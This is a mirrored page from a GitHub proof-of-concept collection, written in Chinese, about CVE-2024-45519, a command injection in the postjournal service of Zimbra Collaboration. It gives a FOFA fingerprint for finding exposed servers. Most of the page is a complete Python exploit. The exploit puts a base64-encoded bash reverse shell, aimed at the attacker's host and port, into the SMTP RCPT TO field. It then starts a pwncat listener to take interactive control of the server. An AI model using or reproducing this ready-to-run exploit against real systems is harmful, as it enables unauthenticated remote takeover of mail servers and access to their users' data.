mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 10:17:57 +00:00
183 lines
5.3 KiB
Markdown
183 lines
5.3 KiB
Markdown
![]() |
# Zimbra远程命令执行漏洞(CVE-2024-45519)
|
|||
|
|
|||
|
CVE-2024-45519 是 Zimbra Collaboration (ZCS) 中的一个漏洞,Zimbra Collaboration (ZCS) 8.8.15 补丁 46 之前的版本、9.0.0 补丁 41 之前的 9、10.0.9 之前的 10 以及 10.1.1 之前的 10.1 中的期刊后服务有时允许未经身份验证的用户执行命令。
|
|||
|
|
|||
|
## fofa
|
|||
|
|
|||
|
```javascript
|
|||
|
icon_hash="1624375939"
|
|||
|
```
|
|||
|
|
|||
|
## poc
|
|||
|
|
|||
|
```python
|
|||
|
import time
|
|||
|
import base64
|
|||
|
import socket
|
|||
|
import threading
|
|||
|
import pwncat.manager
|
|||
|
import rich_click as click
|
|||
|
|
|||
|
from pwn import *
|
|||
|
from faker import Faker
|
|||
|
|
|||
|
|
|||
|
class SMTPExploit:
|
|||
|
def __init__(self, target, port, lhost, lport):
|
|||
|
self.target = target
|
|||
|
self.port = port
|
|||
|
self.lhost = lhost
|
|||
|
self.lport = lport
|
|||
|
self.mail_from = self.generate_random_email()
|
|||
|
self.rcpt_to = self.generate_random_email()
|
|||
|
self.sock = None
|
|||
|
self.command = self.generate_base64_revshell()
|
|||
|
|
|||
|
def generate_random_email(self):
|
|||
|
fake = Faker()
|
|||
|
return fake.email()
|
|||
|
|
|||
|
def generate_base64_revshell(self):
|
|||
|
revshell = f"/bin/bash -i 5<> /dev/tcp/{self.lhost}/{self.lport} 0<&5 1>&5 2>&5"
|
|||
|
base64_revshell = base64.b64encode(revshell.encode()).decode()
|
|||
|
|
|||
|
payload = f"echo${{IFS}}{base64_revshell}|base64${{IFS}}-d|bash"
|
|||
|
return payload
|
|||
|
|
|||
|
def generate_injected_rcpt_to(self):
|
|||
|
return f'"aabbb$({self.command})@{self.rcpt_to}"'
|
|||
|
|
|||
|
def connect(self):
|
|||
|
try:
|
|||
|
self.sock = remote(self.target, self.port)
|
|||
|
banner = self.sock.recv(4096)
|
|||
|
log.info(f"Banner received: {banner.decode().strip()}")
|
|||
|
except Exception as e:
|
|||
|
log.error(f"Failed to connect to SMTP server: {e}")
|
|||
|
self.clean_exit()
|
|||
|
|
|||
|
def send_smtp_command(self, command):
|
|||
|
try:
|
|||
|
self.sock.sendline(command.encode())
|
|||
|
response = self.sock.recv(4096).decode().strip()
|
|||
|
log.info(f"Response: {response}")
|
|||
|
return response
|
|||
|
except EOFError:
|
|||
|
log.error("Connection closed by the server.")
|
|||
|
self.clean_exit()
|
|||
|
except Exception as e:
|
|||
|
log.error(f"Error sending command '{command}': {e}")
|
|||
|
self.clean_exit()
|
|||
|
|
|||
|
def clean_exit(self):
|
|||
|
"""Close the socket and stop the listener in case of failure"""
|
|||
|
if self.sock:
|
|||
|
self.sock.close()
|
|||
|
log.info("Connection closed")
|
|||
|
listener.listener_event.set()
|
|||
|
log.error("Exploitation failed, exiting.")
|
|||
|
exit(1)
|
|||
|
|
|||
|
def run(self):
|
|||
|
log.info(f"Connecting to SMTP server {self.target}:{self.port}...")
|
|||
|
self.connect()
|
|||
|
|
|||
|
self.send_smtp_command("EHLO localhost")
|
|||
|
|
|||
|
self.send_smtp_command(f"MAIL FROM: <{self.mail_from}>")
|
|||
|
|
|||
|
injected_rcpt_to = self.generate_injected_rcpt_to()
|
|||
|
self.send_smtp_command(f"RCPT TO: <{injected_rcpt_to}>")
|
|||
|
|
|||
|
self.send_smtp_command("DATA")
|
|||
|
|
|||
|
self.sock.sendline("Test message".encode())
|
|||
|
self.sock.sendline(".".encode())
|
|||
|
data_response = self.sock.recv(4096).decode().strip()
|
|||
|
log.info(f"Response after data: {data_response}")
|
|||
|
|
|||
|
self.send_smtp_command("QUIT")
|
|||
|
|
|||
|
self.sock.close()
|
|||
|
log.success("Exploitation completed successfully!")
|
|||
|
|
|||
|
|
|||
|
class Listener:
|
|||
|
def __init__(self, bind_host, bind_port):
|
|||
|
self.bind_host = bind_host
|
|||
|
self.bind_port = bind_port
|
|||
|
|
|||
|
def start_listener(self):
|
|||
|
try:
|
|||
|
with socket.create_server((self.bind_host, self.bind_port)) as listener:
|
|||
|
log.info(f"Listening on {self.bind_host}:{self.bind_port}...")
|
|||
|
listener.settimeout(1)
|
|||
|
while True:
|
|||
|
try:
|
|||
|
client, addr = listener.accept()
|
|||
|
log.success(f"Received connection from {addr[0]}:{addr[1]}")
|
|||
|
with pwncat.manager.Manager() as manager:
|
|||
|
manager.create_session(
|
|||
|
platform="linux", protocol="socket", client=client
|
|||
|
)
|
|||
|
manager.interactive()
|
|||
|
break
|
|||
|
except socket.timeout:
|
|||
|
continue
|
|||
|
except Exception as e:
|
|||
|
log.error(f"Failed to start listener: {e}")
|
|||
|
|
|||
|
|
|||
|
@click.command()
|
|||
|
@click.argument("target")
|
|||
|
@click.option(
|
|||
|
"-p",
|
|||
|
"--port",
|
|||
|
type=int,
|
|||
|
default=25,
|
|||
|
show_default=True,
|
|||
|
help="SMTP port (default: 25)",
|
|||
|
)
|
|||
|
@click.option(
|
|||
|
"-lh",
|
|||
|
"--lhost",
|
|||
|
default="0.0.0.0",
|
|||
|
show_default=True,
|
|||
|
help="Local host for listener",
|
|||
|
)
|
|||
|
@click.option(
|
|||
|
"-lp",
|
|||
|
"--lport",
|
|||
|
type=int,
|
|||
|
default=4444,
|
|||
|
show_default=True,
|
|||
|
help="Local port for listener",
|
|||
|
)
|
|||
|
def main(target, port, lhost, lport):
|
|||
|
"""Exploit the Zimbra Postjournal SMTP vulnerability to execute arbitrary commands."""
|
|||
|
listener = Listener(lhost, lport)
|
|||
|
listener_thread = threading.Thread(target=listener.start_listener)
|
|||
|
listener_thread.start()
|
|||
|
|
|||
|
time.sleep(1)
|
|||
|
|
|||
|
exploit = SMTPExploit(target, port, lhost, lport)
|
|||
|
try:
|
|||
|
exploit.run()
|
|||
|
except Exception as e:
|
|||
|
log.error(f"An error occurred during the exploit: {e}")
|
|||
|
|
|||
|
listener_thread.join()
|
|||
|
|
|||
|
|
|||
|
if __name__ == "__main__":
|
|||
|
main()
|
|||
|
```
|
|||
|
|
|||
|

|
|||
|
|
|||
|
|
|||
|
|
|||
|
## 漏洞来源
|
|||
|
|
|||
|
- https://github.com/Chocapikk/CVE-2024-45519
|